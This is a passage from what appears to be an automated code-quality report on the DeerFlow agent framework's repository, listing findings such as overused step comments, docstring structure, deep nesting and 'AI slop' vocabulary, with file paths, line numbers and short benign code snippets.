HIGH…ow/agents/middlewares/tool_output_budget_middleware.py203 check = sandbox.execute_command(f"test -s {shlex.quote(virtual_path)} && echo OK || echo MISSING")CODE
HIGHbackend/packages/harness/deerflow/sandbox/tools.py1188 and device references (e.g. /bin/sh, /dev/null).STRING
HIGHbackend/packages/harness/deerflow/persistence/engine.py88 " cd backend && uv sync --all-packages --extra postgres\n"CODE
HIGH…deerflow/community/e2b_sandbox/e2b_sandbox_provider.py650 f"sudo chmod a+rx /mnt 2>/dev/null || true; "CODE
HIGH…deerflow/community/e2b_sandbox/e2b_sandbox_provider.py763 list_cmd = f'for d in {find_targets}; do [ -d "$d" ] && find "$d" -type f -printf \'%s\\t%p\\0\' 2>/dev/null; CODE
HIGH…/harness/deerflow/community/aio_sandbox/aio_sandbox.py224 a single command (e.g. ``cd /mnt/user-data/workspace && source .venv/bin/activate && python run.py``).STRING
HIGH…nd/packages/harness/deerflow/community/serper/tools.py70 # ``{"organic": null}`` to signal that) rather than a malformed payload.COMMENT
HIGHscripts/sandbox_memory_profile.py380 "ps -eo pid,ppid,rss,args --sort=-rss 2>/dev/null || ps -eo pid,ppid,rss,args"CODE
HIGHscripts/doctor.py370 fix=f"cd backend && uv add {pip_name}",CODE
HIGH…/skills/blocking-io-guard/templates/anchor.template.py8 1. reintroduce the block -> `cd backend && make test-blocking-io` must FAILSTRING
Structural Annotation Overuse124 hits · 216 pts
SeverityFileLineSnippetContext
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json168 "content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json365 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json64 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json186 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOWbackend/tests/test_multi_worker_run_ownership.py1388 # Step 1: cancel(action=rollback) flips running → interruptedCOMMENT
LOWbackend/tests/test_multi_worker_run_ownership.py1394 # Step 2: worker.py finalize path — task raises CancelledError, thenCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py82 # Step 1: Start a container (simulating previous process lifecycle)COMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py94 # Step 2: Create backend and list running containersCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py105 # Step 3: list_running should find our containerCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py110 # Step 4: Simulate reconciliation — this container's created_at is recent,COMMENT
LOWbackend/tests/test_client_e2e.py166# Step 2: Basic streaming (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py227# Step 3: Tool call flow (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py263# Step 4: File upload integration (no LLM needed for most)COMMENT
LOWbackend/tests/test_client_e2e.py347# Step 5: Lifecycle and configuration (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py404# Step 6: Middleware chain verification (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py442# Step 7: Error and boundary conditionsCOMMENT
LOWbackend/tests/test_client_e2e.py487# Step 8: Artifact access (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py542# Step 9: Skill installation (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py639# Step 10: Configuration management (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py773# Step 11: Memory access (no LLM needed)COMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py176 # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=TrueCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py183 # Step 2: Now trigger handler that raises GraphBubbleUpCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py204 # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=TrueCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py211 # Step 2: Now trigger handler that raises GraphBubbleUpCOMMENT
LOWbackend/tests/test_client.py2041 # Step 2: ListCOMMENT
LOWbackend/tests/test_client.py2046 # Step 3: Delete oneCOMMENT
LOWbackend/tests/test_client.py2050 # Step 4: Verify deletionCOMMENT
LOWbackend/tests/test_client.py2029 # Step 1: UploadCOMMENT
LOWbackend/tests/test_client.py2396 # Step 1: InstallCOMMENT
LOWbackend/tests/test_client.py2408 # Step 2: List and find itCOMMENT
LOWbackend/tests/test_client.py2420 # Step 3: Disable itCOMMENT
LOWbackend/tests/test_mcp_config_secrets.py357 # Step 1: Server returns masked config (simulates GET response)COMMENT
LOWbackend/tests/test_mcp_config_secrets.py362 # Step 2: Frontend toggles enabled and sends back (simulates PUT request)COMMENT
LOWbackend/tests/test_mcp_config_secrets.py365 # Step 3: Server merges with existing secrets (simulates PUT handler)COMMENT
LOWbackend/docs/SSO.md56### Step 1: Enable OIDC in `config.yaml`COMMENT
LOWbackend/docs/SSO.md76### Step 2: Set the client secret as an environment variableCOMMENT
LOWbackend/docs/SSO.md88### Step 3: Restart the backendCOMMENT
LOWbackend/packages/harness/deerflow/subagents/registry.py65 # Step 1: Look up built-in, then fall back to custom_agentsCOMMENT
LOWbackend/packages/harness/deerflow/subagents/registry.py72 # Step 2: Apply per-agent overrides from config.yaml agents section.COMMENT
LOW…arness/deerflow/community/aio_sandbox/local_backend.py414 # Step 1: enumerate container names via docker psCOMMENT
LOW…arness/deerflow/community/aio_sandbox/local_backend.py449 # Step 2: batched docker inspect — single subprocess call for all containersCOMMENT
LOW…owers/plans/2026-06-08-minimax-generation-providers.md1430### Step 1: Understand RequirementsCOMMENT
LOW…owers/plans/2026-06-08-minimax-generation-providers.md1435### Step 2: Create the Spec JSONCOMMENT
LOW…owers/plans/2026-06-08-minimax-generation-providers.md1459### Step 3: Execute GenerationCOMMENT
LOWskills/public/music-generation/SKILL.md16### Step 1: Understand RequirementsCOMMENT
LOWskills/public/music-generation/SKILL.md21### Step 2: Create the Spec JSONCOMMENT
LOWskills/public/music-generation/SKILL.md45### Step 3: Execute GenerationCOMMENT
LOWskills/public/image-generation/SKILL.md21### Step 1: Understand RequirementsCOMMENT
LOWskills/public/image-generation/SKILL.md31### Step 2: Create Structured PromptCOMMENT
LOWskills/public/image-generation/SKILL.md35### Step 3: Execute GenerationCOMMENT
LOWskills/public/surprise-me/SKILL.md12### Step 1: Discover Available SkillsCOMMENT
LOWskills/public/surprise-me/SKILL.md16### Step 2: Plan the SurpriseCOMMENT
LOWskills/public/surprise-me/SKILL.md33### Step 3: Fallback — No Other Skills AvailableCOMMENT
LOWskills/public/surprise-me/SKILL.md41### Step 4: ExecuteCOMMENT
LOWskills/public/surprise-me/SKILL.md48### Step 5: RevealCOMMENT
LOWskills/public/find-skills/SKILL.md35### Step 1: Understand What They NeedCOMMENT
LOWskills/public/find-skills/SKILL.md43### Step 2: Search for SkillsCOMMENT
LOWskills/public/find-skills/SKILL.md66### Step 3: Present Options to the UserCOMMENT
64 more matches not shown…
Docstring Block Structure37 hits · 185 pts
SeverityFileLineSnippetContext
HIGHbackend/CONTRIBUTING.md131Create a chat model instance from configuration. Args: name: The model name as defined in config.yaml STRING
HIGHbackend/app/gateway/path_utils.py12Resolve a virtual path to the actual filesystem path under thread user-data. Args: thread_id: The thread IDSTRING
HIGHbackend/app/gateway/routers/models.py100Get a specific model by name. Args: model_name: The unique name of the model to retrieve. Returns: STRING
HIGHbackend/app/gateway/routers/agents.py136Check whether an agent name is valid and not yet taken. Args: name: The agent name to check. Returns: STRING
HIGHbackend/app/gateway/routers/agents.py166Get a specific custom agent by name. Args: name: The agent name. Returns: Agent details includSTRING
HIGHbackend/app/gateway/routers/agents.py200Create a new custom agent. Args: request: The agent creation request. Returns: The created ageSTRING
HIGHbackend/app/gateway/routers/agents.py280Update an existing custom agent. Args: name: The agent name. request: The update request (all fieldSTRING
HIGHbackend/app/gateway/routers/mcp.py361Update the MCP configuration. This will: 1. Save the new configuration to the mcp_config.json file 2. ReloaSTRING
HIGHbackend/app/gateway/routers/artifacts.py154Get an artifact file by its path. The endpoint automatically detects file types and returns appropriate content typSTRING
HIGHbackend/app/gateway/auth/repositories/base.py27Create a new user. Args: user: User object to create Returns: Created User witSTRING
HIGHbackend/app/gateway/auth/repositories/base.py66Update an existing user. Args: user: User object with updated fields Returns: STRING
HIGHbackend/packages/harness/deerflow/client.py1099Update MCP server configurations. Writes to extensions_config.json and reloads the cache. Args: STRING
HIGHbackend/packages/harness/deerflow/client.py1158Update a skill's enabled status. Args: name: Skill name. enabled: New enabled status. STRING
HIGHbackend/packages/harness/deerflow/client.py1252Install a skill from a .skill archive (ZIP). Args: skill_path: Path to the .skill file. ReSTRING
HIGHbackend/packages/harness/deerflow/client.py1358Upload local files into a thread's uploads directory. For PDF, PPT, Excel, and Word files, they are also converSTRING
HIGHbackend/packages/harness/deerflow/client.py1471Delete a file from a thread's uploads directory. Args: thread_id: Thread ID. filename: STRING
HIGHbackend/packages/harness/deerflow/client.py1495Read an artifact file produced by the agent. Args: thread_id: Thread ID. path: Virtual STRING
HIGHbackend/packages/harness/deerflow/tools/sync.py39Build a synchronous wrapper for an asynchronous tool coroutine. Args: coro: Async callable backing a LangChSTRING
HIGH…kend/packages/harness/deerflow/config/agents_config.py238Load the custom or default agent's config from its directory. Reads from the per-user layout first; falls back to tSTRING
HIGHbackend/packages/harness/deerflow/config/paths.py360Resolve a sandbox virtual path to the actual host filesystem path. Args: thread_id: The thread ID. STRING
HIGH…end/packages/harness/deerflow/agents/memory/updater.py65Persist imported memory data via storage provider. Args: memory_data: Full memory payload to persist. STRING
HIGHbackend/packages/harness/deerflow/uploads/manager.py59Sanitize a filename by extracting its basename. Strips any directory components and rejects traversal patterns. STRING
HIGHbackend/packages/harness/deerflow/uploads/manager.py309Delete a file inside *base_dir* after path-traversal validation. If *convertible_extensions* is provided and the fiSTRING
HIGHbackend/packages/harness/deerflow/utils/network.py59Allocate an available port in a thread-safe manner. This method is thread-safe. It finds an available port, marSTRING
HIGHbackend/packages/harness/deerflow/utils/network.py114Get a free port in a thread-safe manner. This function uses a global port allocator to ensure that concurrent callsSTRING
HIGHbackend/packages/harness/deerflow/sandbox/tools.py281Resolve a virtual skills path to a host filesystem path. WARNING: For per-user custom skills (``/mnt/skills/custom/STRING
HIGHbackend/packages/harness/deerflow/sandbox/tools.py445Resolve a virtual ACP workspace path to a host filesystem path. Args: path: Virtual path (e.g. /mnt/acp-worSTRING
HIGHbackend/packages/harness/deerflow/sandbox/tools.py1342Ensure sandbox is initialized, acquiring lazily if needed. On first call, acquires a sandbox from the provider and STRING
HIGHbackend/packages/harness/deerflow/sandbox/sandbox.py63Execute bash command in sandbox. Args: command: The command to execute. env: Optional pSTRING
HIGHbackend/packages/harness/deerflow/sandbox/sandbox.py107Download the binary content of a file. Args: path: The absolute path of the file to download. STRING
HIGH…arness/deerflow/community/aio_sandbox/local_backend.py270Start a new container and return its connection info. Args: thread_id: Thread ID for which the sandSTRING
HIGH…arness/deerflow/community/aio_sandbox/local_backend.py529Start a new container. Args: container_name: Name for the container. port: Host port toSTRING
HIGH…deerflow/community/aio_sandbox/aio_sandbox_provider.py864Create a new sandbox via the backend. Args: thread_id: Optional thread ID. sandbox_id: STRING
HIGH…kend/packages/harness/deerflow/reflection/resolvers.py29Resolve a variable from a path. Args: variable_path: The path to the variable (e.g. "parent_package_name.suSTRING
HIGH…kend/packages/harness/deerflow/reflection/resolvers.py74Resolve a class from a module path and class name. Args: class_path: The path to the class (e.g. "langchainSTRING
HIGHdocs/SKILL_NAME_CONFLICT_FIX.md214Find a skill by name, optionally filtered by category. Args: skills: List of all skills skill_nSTRING
HIGHskills/public/code-documentation/SKILL.md273Process data from the given file path. Reads the input file, applies transformations based on the provided optiSTRING
Deep Nesting211 hits · 184 pts
SeverityFileLineSnippetContext
LOWbackend/debug.py63CODE
LOWbackend/app/gateway/deps.py114CODE
LOWbackend/app/gateway/services.py130CODE
LOWbackend/app/gateway/services.py388CODE
LOWbackend/app/gateway/services.py567CODE
LOWbackend/app/gateway/auth_middleware.py88CODE
LOWbackend/app/gateway/routers/auth.py205CODE
LOWbackend/app/gateway/routers/auth.py431CODE
LOWbackend/app/gateway/routers/console.py404CODE
LOWbackend/app/gateway/routers/skills.py388CODE
LOWbackend/app/gateway/routers/thread_runs.py696CODE
LOWbackend/app/gateway/routers/thread_runs.py896CODE
LOWbackend/app/gateway/routers/scheduled_tasks.py141CODE
LOWbackend/app/gateway/routers/threads.py1048CODE
LOWbackend/app/gateway/routers/mcp.py360CODE
LOWbackend/app/gateway/routers/artifacts.py69CODE
LOWbackend/app/gateway/routers/uploads.py301CODE
LOWbackend/app/gateway/routers/github_webhooks.py173CODE
LOWbackend/app/gateway/github/triggers.py82CODE
LOWbackend/app/gateway/github/registry.py168CODE
LOWbackend/app/gateway/github/identity.py62CODE
LOWbackend/app/channels/dingtalk.py80CODE
LOWbackend/app/channels/telegram.py254CODE
LOWbackend/app/channels/discord.py280CODE
LOWbackend/app/channels/wechat.py546CODE
LOWbackend/app/channels/wechat.py1010CODE
LOWbackend/app/channels/feishu.py335CODE
LOWbackend/app/channels/feishu.py607CODE
LOWbackend/app/channels/feishu.py732CODE
LOWbackend/app/channels/feishu.py765CODE
LOWbackend/app/channels/feishu.py954CODE
LOWbackend/app/channels/manager.py223CODE
LOWbackend/app/channels/manager.py302CODE
LOWbackend/app/channels/manager.py343CODE
LOWbackend/app/channels/manager.py440CODE
LOWbackend/app/channels/manager.py1151CODE
LOWbackend/app/channels/manager.py1692CODE
LOWbackend/app/channels/manager.py1824CODE
LOWbackend/app/channels/base.py158CODE
LOWbackend/app/channels/wecom.py207CODE
LOWbackend/tests/test_client_e2e.py191CODE
LOWbackend/tests/test_skill_container_path_defaults.py25CODE
LOWbackend/tests/_replay_fixture.py114CODE
LOWbackend/tests/test_harness_boundary.py18CODE
LOWbackend/tests/test_user_scoped_skill_storage.py454CODE
LOWbackend/tests/test_run_event_store_by_run_index.py61CODE
LOWbackend/tests/test_runtime_lifecycle_e2e.py380CODE
LOWbackend/tests/test_claude_provider_prompt_caching.py28CODE
LOWbackend/tests/test_delegation_ledger_live.py167CODE
LOWbackend/tests/test_delegation_ledger_live.py182CODE
LOWbackend/tests/test_delegation_ledger_live.py215CODE
LOWbackend/tests/blocking_io/test_skills_load.py46CODE
LOWbackend/tests/support/detectors/blocking_io_static.py614CODE
LOWbackend/tests/support/detectors/blocking_io_static.py654CODE
LOWbackend/tests/support/detectors/blocking_io_static.py759CODE
LOWbackend/tests/support/detectors/thread_boundaries.py437CODE
LOWbackend/scripts/benchmark/bench_sandbox_provider.py316CODE
LOWbackend/scripts/benchmark/bench_sandbox_provider.py436CODE
LOWbackend/scripts/benchmark/bench_sandbox_provider.py456CODE
LOWbackend/scripts/benchmark/bench_sandbox_provider.py486CODE
151 more matches not shown…
AI Slop Vocabulary66 hits · 162 pts
SeverityFileLineSnippetContext
MEDIUMconfig.example.yaml191 # Install: cd backend && uv pip install 'deerflow-harness[ollama]'COMMENT
MEDIUMdocker/dev-entrypoint.sh12# 3. `uv sync --all-packages` so workspace member extras (deerflow-harness'sCOMMENT
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json168 "content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json365 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json307 "content": "[\n {\n \"title\": \"Startup Industry Trends in 2026 - Qubit Capital\",\n \"url\": \"https://CODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json383 "content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI armCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json483 "content": "Based on current research and expert predictions, 2026 appears to be a pivotal year shaped by acceleCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json483 "content": "Based on current research and expert predictions, 2026 appears to be a pivotal year shaped by acceleCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json550 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json1376 "content": "I've created a modern, minimalist website showcasing the 2026 trends and opportunities analysis. TheCODE
MEDIUM…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json563 "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"uCODE
MEDIUM…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json563 "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"uCODE
MEDIUM…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json53 "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | StCODE
LOW…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json53 "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | StCODE
MEDIUM…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json53 "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | StCODE
MEDIUM…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json225 "content": "[\n {\n \"title\": \"Diana Hu - Partner at Y Combinator | LinkedIn\",\n \"url\": \"https://wwCODE
MEDIUM…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json1173 "content": "I've thoroughly analyzed Diana Hu's Y Combinator talk and conducted deep research on her background CODE
MEDIUM…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json53 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
LOW…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json64 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
MEDIUM…reads/f4125791-0128-402a-8ca9-50e0947557e4/thread.json52 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json694 "content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqinCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json694 "content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqinCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json732 "content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation | by heavendai | Medium\n\n[SCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json732 "content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation | by heavendai | Medium\n\n[SCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json46 "content": "---\nname: github-deep-research\ndescription: Conduct multi-round deep research on any GitHub Repo. CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json883 "content": "# 🦌 DeerFlow\n\n# Deep Researchat Your Fingertipsat Your Fingertips\n\nMeet DeerFlow, your personal CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1637 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
MEDIUM…reads/5aa47db1-d0cb-4eb9-aea5-3dac1b371c5a/thread.json204 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
LOW…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json186 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
MEDIUM…reads/c02bb4d5-4202-490e-ae8f-ff4864fc0d2e/thread.json52 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
MEDIUMdeploy/helm/deer-flow/values.yaml246 # resolved by the harness before the config is instantiated.COMMENT
MEDIUMbackend/pyproject.toml41 # Monocle tracer (also the deerflow-harness[monocle] extra); kept in the devCOMMENT
MEDIUMbackend/pyproject.toml44 # redis is an optional runtime extra (deerflow-harness[redis]); pin it in theCOMMENT
MEDIUMbackend/pyproject.toml48 # TUI runtime dep (also declared as the deerflow-harness[tui] extra); kept inCOMMENT
MEDIUMbackend/app/gateway/services.py435 # harness's private run-context channels (skill secret-bindingCOMMENT
MEDIUMbackend/app/gateway/routers/agents.py340 # to :class:`AgentConfig`). The harness ``update_agent`` tool usesCOMMENT
LOWbackend/app/channels/manager.py1574 # Channels that do not support file download will simply return the original message.COMMENT
MEDIUMbackend/tests/test_skill_request_scoped_secrets.py361 """Security (#3938): the harness writes private ``__``-prefixed keys intoSTRING
MEDIUMbackend/tests/test_input_sanitization_middleware.py229# Paired block tags found in the harness that are deliberately NOT in theCOMMENT
MEDIUMbackend/tests/test_input_sanitization_middleware.py232# block anywhere in the harness turns this test red until someone either blocksCOMMENT
MEDIUMbackend/tests/test_setup_agent_http_e2e_real_server.py314 # poll to be robust against scheduler jitter.STRING
6 more matches not shown…
Over-Commented Block184 hits · 131 pts
SeverityFileLineSnippetContext
LOWconfig.example.yaml1# Configuration for the DeerFlow applicationCOMMENT
LOWconfig.example.yaml21# LoggingCOMMENT
LOWconfig.example.yaml41# ============================================================================COMMENT
LOWconfig.example.yaml61 max_output_tokens: null # Optional separate output-only limitCOMMENT
LOWconfig.example.yaml81#COMMENT
LOWconfig.example.yaml101 # timeout: 600.0COMMENT
LOWconfig.example.yaml121 # display_name: GLM-5.2 (Coding Plan)COMMENT
LOWconfig.example.yaml141 # display_name: DeepSeek-V4-Pro (Coding Plan)COMMENT
LOWconfig.example.yaml161 # display_name: GPT-4COMMENT
LOWconfig.example.yaml181 # supports_vision: trueCOMMENT
LOWconfig.example.yaml201 # supports_thinking: trueCOMMENT
LOWconfig.example.yaml221 # budget_tokens is required by the Anthropic API when thinking.type=enabledCOMMENT
LOWconfig.example.yaml241 # Example: Google Gemini model (native SDK, no thinking support)COMMENT
LOWconfig.example.yaml261 # api_key: $GEMINI_API_KEYCOMMENT
LOWconfig.example.yaml281 # Use https://api.xiaomimimo.com/v1 with pay-as-you-go `sk-...` keys.COMMENT
LOWconfig.example.yaml301 # extra_body:COMMENT
LOWconfig.example.yaml321 # extra_body:COMMENT
LOWconfig.example.yaml341 # when_thinking_enabled:COMMENT
LOWconfig.example.yaml361 # max_tokens: 4096COMMENT
LOWconfig.example.yaml381 # - name: step-3.7-flashCOMMENT
LOWconfig.example.yaml401 # MiniMax provides high-performance models with 512K context window and 128K max outputCOMMENT
LOWconfig.example.yaml421 # # title/memory generation) truly disable reasoning instead of spendingCOMMENT
LOWconfig.example.yaml441 # model: MiniMax-M2.7COMMENT
LOWconfig.example.yaml461 # supports_vision: false # M2.7 is text-only; M3 supports visionCOMMENT
LOWconfig.example.yaml481 # # DeerFlow understands), and it strips the per-message `name` field thatCOMMENT
LOWconfig.example.yaml501 # "user name must be consistent (2013)".COMMENT
LOWconfig.example.yaml521 # request_timeout: 600.0COMMENT
LOWconfig.example.yaml541 # Example: Atlas Cloud (OpenAI-compatible)COMMENT
LOWconfig.example.yaml561 # - name: atlascloud-qwen3-thinkingCOMMENT
LOWconfig.example.yaml581 # Example: vLLM 0.19.0 (OpenAI-compatible, with reasoning toggle)COMMENT
LOWconfig.example.yaml601 # enable_thinking: trueCOMMENT
LOWconfig.example.yaml641 # Web search tool (uses DuckDuckGo, no API key required)COMMENT
LOWconfig.example.yaml661 # Serper provides real-time Google Search results. Sign up at https://serper.devCOMMENT
LOWconfig.example.yaml681 # - name: web_searchCOMMENT
LOWconfig.example.yaml701 # # api_key: $EXA_API_KEYCOMMENT
LOWconfig.example.yaml721 COMMENT
LOWconfig.example.yaml741 # # token: $BROWSERLESS_TOKEN # API token (required for Browserless Cloud; optional for self-hosted)COMMENT
LOWconfig.example.yaml761 # # filter: fit # Markdown filter: fit (default) | raw | bm25 | llmCOMMENT
LOWconfig.example.yaml781 # # wait_for_selector_timeout_ms: 5000COMMENT
LOWconfig.example.yaml801 # Use host.docker.internal instead of 127.0.0.1 when the proxy runs on the host.COMMENT
LOWconfig.example.yaml821COMMENT
LOWconfig.example.yaml841COMMENT
LOWconfig.example.yaml861 # Avoid putting literal API keys in config.yaml; use the $VAR form instead.COMMENT
LOWconfig.example.yaml921# via the tool_search tool at runtime.COMMENT
LOWconfig.example.yaml961# Suggestions ConfigurationCOMMENT
LOWconfig.example.yaml1001 # without weakening protection on every other tool.COMMENT
LOWconfig.example.yaml1021# warn_escalation_count: 2 # More problems after WARNED before BLOCKEDCOMMENT
LOWconfig.example.yaml1041 enabled: trueCOMMENT
LOWconfig.example.yaml1061 # of providing an empty list).COMMENT
LOWconfig.example.yaml1081# Choose between local sandbox (direct execution) or Docker-based AIO sandboxCOMMENT
LOWconfig.example.yaml1101 # Better heading/table extraction; faster on most files.COMMENT
